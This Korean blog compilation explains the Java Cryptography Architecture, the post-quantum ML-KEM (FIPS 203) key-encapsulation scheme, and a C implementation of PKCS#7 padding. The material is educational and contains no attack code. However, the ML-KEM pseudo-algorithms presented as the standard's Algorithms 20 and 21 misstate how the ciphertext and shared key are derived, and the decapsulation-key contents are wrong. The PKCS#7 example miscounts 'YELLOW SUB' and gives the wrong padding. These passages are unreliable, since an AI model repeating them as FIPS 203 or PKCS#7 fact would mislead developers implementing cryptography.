KeyStore	키 저장소를 나타내는 클래스입니다. 파일 등으로부터 키스토어를 불러오거나 생성(load 메서드), 키와 인증서를 저장(setKeyEntry)하거나 읽어오는 기능을 제공합니다. 하나의 KeyStore 내부에 여러 개의 별칭(alias)으로 키 항목을 저장할 수 있으며, 각 개인 키는 자신의 인증서 체인을 함께 보관합니다 . 또한 신뢰된 공개키 인증서들을 별도로 저장하여 신뢰 저장소로 활용할 수도 있습니다. 키스토어는 JKS(Java Key Store), PKCS#12 등 다양한 형식으로 구현되어 있으며, KeyStore.getInstance("JKS")처럼 타입을 지정해 사용할 수 있습니다 .
CertificateFactory	인증서를 생성하거나 변환하는 클래스입니다. X.509 디지털 인증서를 대표적으로 지원하며, generateCertificate(InputStream) 메서드를 통해 파일이나 바이트스트림에 인코딩된 인증서 데이터를 Certificate 객체로 파싱해낼 수 있습니다. 또한 인증서 폐기 목록(CRL) 파일을 파싱하거나, 반대로 Certificate 객체를 인코딩된 형태로 변환하는 등의 기능도 제공합니다 .

각 클래스는 JCA의 표준 API로서 일관된 사용 패턴과 상호작용을 보여주며, 개발자는 필요에 따라 적절한 클래스를 선택하여 보안 기능을 구현하면 됩니다. 예를 들어, 데이터를 해시해야 할 때는 MessageDigest를, 암호화가 필요할 때는 Cipher를, 서명이 필요할 때는 Signature를 사용하는 식입니다. 이러한 JCA 구조를 통해 자바 애플리케이션은 복잡한 암호 기술을 비교적 단순한 코드로 활용할 수 있고, 다양한 알고리즘과 구현체 사이에서도 호환성과 유연성을 유지할 수 있습니다. JCA는 구현과 알고리즘의 세부사항을 캡슐화한 채 표준화된 인터페이스를 제공함으로써, 자바 보안 기능의 확장성과 견고성을 뒷받침하는 기반이 됩니다.

JCA의 역할과 장점

구현 독립성 – 애플리케이션 개발자는 보안 알고리즘을 직접 구현할 필요 없이 JCA가 제공하는 표준 API를 통해 필요한 보안 서비스를 요청하면 된다 . 실제 알고리즘 구현은 자바 플랫폼에 플러그인 형태로 제공되는 프로바이더들이 담당하므로, 개발자는 인터페이스만 알고 활용하면 된다 .
알고리즘 독립성 및 표준화 – JCA는 다양한 알고리즘에 대해 표준화된 인터페이스를 제공하여, 코드 변경 없이도 알고리즘을 바꾸거나 업그레이드할 수 있는 유연성을 준다. 예를 들어, 해시 함수 알고리즘을 MD5에서 SHA-256으로 바꾸더라도 MessageDigest.getInstance("MD5")에서 알고리즘 이름 문자열만 SHA-256으로 변경하면 동일한 방식으로 사용할 수 있다. (완전한 의미의 알고리즘 중립성을 달성할 수는 없지만, JCA는 알고리즘별로 표준화된 API를 제공함으로써 이와 유사한 효과를 낸다 .)
상호운용성 – 서로 다른 프로바이더의 구현체들도 호환되도록 설계되어, 하나의 프로바이더에서 생성한 키나 서명 등을 다른 프로바이더를 통해서도 사용할 수 있다 . 애플리케이션은 특정 프로바이더에 종속되지 않고 동작하며, 프로바이더 역시 특정 애플리케이션에 종속되지 않고 여러 애플리케이션에서 공통으로 사용될 수 있다 .
확장성과 유연성 – 새로운 알고리즘이나 보안 서비스가 필요하면 JCA에 커스텀 프로바이더를 추가함으로써 손쉽게 플랫폼의 암호 기능을 확장할 수 있다 . JDK에는 널리 사용되는 기본 알고리즘들이 내장 프로바이더로 제공되지만, 표준에 없던 최신 알고리즘이나 특수한 요구가 있을 경우 별도의 프로바이더를 설치하여 지원할 수 있다 .
안전성과 편의성 – JCA는 검증된 구현체들을 통합된 방식으로 제공하므로, 개발자가 저수준 구현상의 실수를 줄이고 안전한 기본값을 활용할 수 있게 한다. 또한 보안 관련 설정(예: 프로바이더 우선순위, 제한 정책 등)을 중앙 관리할 수 있어 정책 적용이 용이하다. JCA의 구조 덕분에 성능이 향상된 구현이나 보안이 강화된 구현이 나올 경우 프로바이더 교체만으로 애플리케이션을 수정 없이 개선할 수도 있다 .

JCA Provider 사용 예제 소스코드

import java.security.Security;
import javax.crypto.Cipher;

// 등록된 Provider 목록 출력
for (java.security.Provider provider : Security.getProviders()) {
    System.out.println(provider.getName());
}

// 특정 Provider 사용하여 Cipher 인스턴스 생성
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding", "SunJCE");

양자내성암호 ML-KEM (FIPS 203) 개요

defcon — Sun, 20 Apr 2025 18:05:48 +0900

ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism)은 NIST에서 2024년 8월 13일에 발표한 FIPS 203 표준입니다. 이는 양자 컴퓨터 시대에 대비한 포스트 양자 암호(PQC) 중 하나로, 안전한 공개키 기반 공유 비밀키 생성을 위한 암호 알고리즘입니다

ML-KEM 개요

목적: 두 사용자가 공개 채널을 통해 안전하게 공유 비밀키(shared secret key) 를 설정할 수 있게 해주는 암호 기술입니다.
방식: “KEM (Key-Encapsulation Mechanism, 키 캡슐화 메커니즘)” 구조를 따릅니다.
기반 수학: Module Learning With Errors (MLWE) 문제의 어려움에 기반함. 이는 lattice-based 문제로, 양자 컴퓨터에도 안전한 것으로 간주됨.

1. Alice: KeyGen() → (pk, sk)
2. Bob: Encaps(pk) → (c, K)
3. Bob → Alice에게 c 전송
4. Alice: Decaps(sk, c) → K'
5. 이제 Alice와 Bob은 공유키 K = K'

      Alice                                 Bob
     (수신자)                             (송신자)
   ------------                         ------------
   KeyGen()                             ← ek (공개키)
   ↓                                          |
   ek, dk                                     |
                                             Encaps(ek)
                                              ↓
                                    생성: (c, K), send c →
   Decaps(dk, c)                          ← c
   ↓
   생성: K′ (≈ K)

파라미터 세트

파라미터	보안 카테고리	설명	권장 사용 예시
ML-KEM-512	Category 1 AES-128	성능 우선, 낮은 보안 수준	IoT, 모바일 등
ML-KEM-768	Category 3 AES-192	균형 잡힌 성능/보안	일반 보안 통신
ML-KEM-1024	Category 5 AES-256	높은 보안, 느린 성능	고보안 시스템

파라미터 세트

파라미터	공개키 크기	비밀키 크기	암호문 크기	공유 비밀키
ML-KEM-512	800 Byte	1632 Byte	768 Byte	32 Byte
ML-KEM-768	1184 Byte	2400 Byte	1088 Byte	32 Byte
ML-KEM-1024	1568 Byte	3168 Byte	1568 Byte	32 Byte

복호화 실패율

파라미터실패 확률

파라미터	실패확률
ML-KEM-512	2⁻¹³⁸.⁸
ML-KEM-768	2⁻¹⁶⁴.⁸
ML-KEM-1024	2⁻¹⁷⁴.⁸

ML-KEM 작동 방식

1. KeyGen:

Alice가 키 페어 (Encapsulation Key, Decapsulation Key)를 생성
Encapsulation Key는 공개, Decapsulation Key는 비밀

입력 :

내부적으로 사용되는 랜덤 바이트 d, z (암호모듈이 생성함)

출력:

ek: Encapsulation Key (공개키)

dk: Decapsulation Key (비밀키)

랜덤 시드 d → NTT를 위한 행렬 A를 생성
노이즈 다항식 샘플링 → 비밀 벡터 s, 오류 벡터 e를 생성
t = A ∘ s + e (모듈 기반 다항식 연산)
공개키 ek = 압축된 A, t 값
비밀키 dk = s, e, t, z, 그리고 H(ek) 해시값

Algorithm 19 ML-KEM.KeyGen()
Input: None
Output: (ek, dk) — encapsulation key, decapsulation key

1: d ←$ B32                   // 32바이트 랜덤값
2: z ←$ B32                   // 또 다른 32바이트 랜덤값
3: (ek, dk) ← ML-KEM.KeyGen_internal(d, z)
4: return (ek, dk)

2. Encaps (Bob이 실행):

Alice의 Encapsulation Key를 이용해 공유 비밀키 K 생성 + 캡슐화된 메시지 ciphertext 생성
이 ciphertext를 Alice에게 전송

입력:

ek (Alice의 공개키)

출력:

c: ciphertext (암호문)

K: 공유 비밀키 (256비트)

랜덤 메시지 m 생성 (32바이트)
m과 H(ek)를 해시하여 암호화용 시드 r 및 해시값 d 생성
m, r를 사용하여 Kyber 기반 PKE 암호화를 수행:
- (u, v) 형태의 암호문 생성 (NTT 기반 다항식 연산)
c = (u, v, d)
공유 비밀키 K는 H(m, c)를 통해 유도

Algorithm 20 ML-KEM.Encaps(ek)
Input: ek — encapsulation key
Output: (c, K) — ciphertext, shared secret key

1: m ←$ B32                         // 무작위 메시지 생성
2: d ← H(m || H(ek))               // 해시 통해 바인딩
3: (cPKE, m') ← K-PKE.Encrypt(ek, m, d)
4: K ← H(m || cPKE)                // 공유키 생성
5: c ← cPKE || d                   // 암호문 구성
6: return (c, K)

3. Decaps (Alice가 실행):

받은 ciphertext와 자신의 비밀키(Decapsulation Key)를 사용해 공유 비밀키 K′를 복원

입력:

dk: 비밀키

c: 암호문

출력:

K′: 공유 비밀키 (256비트)

암호문 c를 디코딩 → (u, v, d)
dk의 비밀값을 사용해 (u, v)를 복호화 → 메시지 m′ 복원
ek 해시와 m′을 사용해 새로운 암호문 c′ 재생성
c′ == c이면:
- K′ = H(m′, c) 사용
그렇지 않으면:
- K′ = H(z, c) (z는 비밀키 생성시 포함된 랜덤 값)
- 마지막 단계는 IND-CCA2 보안을 보장하기 위한 방어 기법입니다. 암호문이 조작되었을 경우에도 K′를 추정할 수 없게 만듭니다.

Algorithm 21 ML-KEM.Decaps(dk, c)
Input: dk — decapsulation key, c — ciphertext
Output: K′ — shared secret key

1: Parse c as (cPKE, d)
2: m′ ← K-PKE.Decrypt(dk, cPKE)
3: (cPKE′, m″) ← K-PKE.Encrypt(ek, m′, d)
4: if cPKE′ == cPKE then
5:     K′ ← H(m′ || c)
6: else
7:     K′ ← H(z || c)              // CCA 방어
8: return K′

기술적 특성

CRYSTALS-KYBER에서 파생된 알고리즘
NTT (Number-Theoretic Transform) 활용해 다항식 곱셈 최적화
IND-CCA2 보안 보장 (적응적 선택 암호문 공격에 안전)
키 및 캡슐 크기:
- 예: ML-KEM-512는 공개키 800바이트, 비밀키 1632바이트, 캡슐화 메시지 768바이트, 공유 비밀키 32바이트

블록암호 PKCS#7 패딩 기능 C언어 구현

defcon — Sun, 20 Apr 2025 10:26:28 +0900

PKCS#7 패딩 개요

블록 크기: 일반적으로 8바이트(64비트) 또는 16바이트(128비트)
패딩 규칙:
- 패딩이 필요한 경우: N 바이트를 패딩해야 한다면, N 바이트 모두 N으로 채움
- 패딩이 필요 없는 경우(블록 크기의 정확한 배수): 전체 블록 크기만큼 패딩 추가 (block_size 바이트 모두 block_size 값으로 채움)

예시 (AES의 16바이트 블록 기준):

원문: YELLOW SUBMARINE (16바이트) → 패딩 추가: 0x10 0x10 ... (16번)
원문: YELLOW SUB (11바이트) → 패딩 추가: 0x05 0x05 0x05 0x05 0x05

PKCS#7 패딩 구현

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void pkcs7_pad(unsigned char *input, size_t input_len, size_t block_size,
               unsigned char **output, size_t *output_len) {
    size_t pad_len = block_size - (input_len % block_size);
    *output_len = input_len + pad_len;
    *output = (unsigned char *)malloc(*output_len);
    if (*output == NULL) {
        perror("malloc failed");
        exit(1);
    }

    memcpy(*output, input, input_len);
    memset(*output + input_len, (unsigned char)pad_len, pad_len);
}

int pkcs7_unpad(unsigned char *input, size_t input_len,
                unsigned char **output, size_t *output_len) {
    if (input_len == 0) return -1;

    unsigned char pad_len = input[input_len - 1];

    if (pad_len == 0 || pad_len > input_len) return -1;

    for (size_t i = 0; i < pad_len; ++i) {
        if (input[input_len - 1 - i] != pad_len)
            return -1;  // Invalid padding
    }

    *output_len = input_len - pad_len;
    *output = (unsigned char *)malloc(*output_len);
    if (*output == NULL) {
        perror("malloc failed");
        return -1;
    }

    memcpy(*output, input, *output_len);
    return 0;
}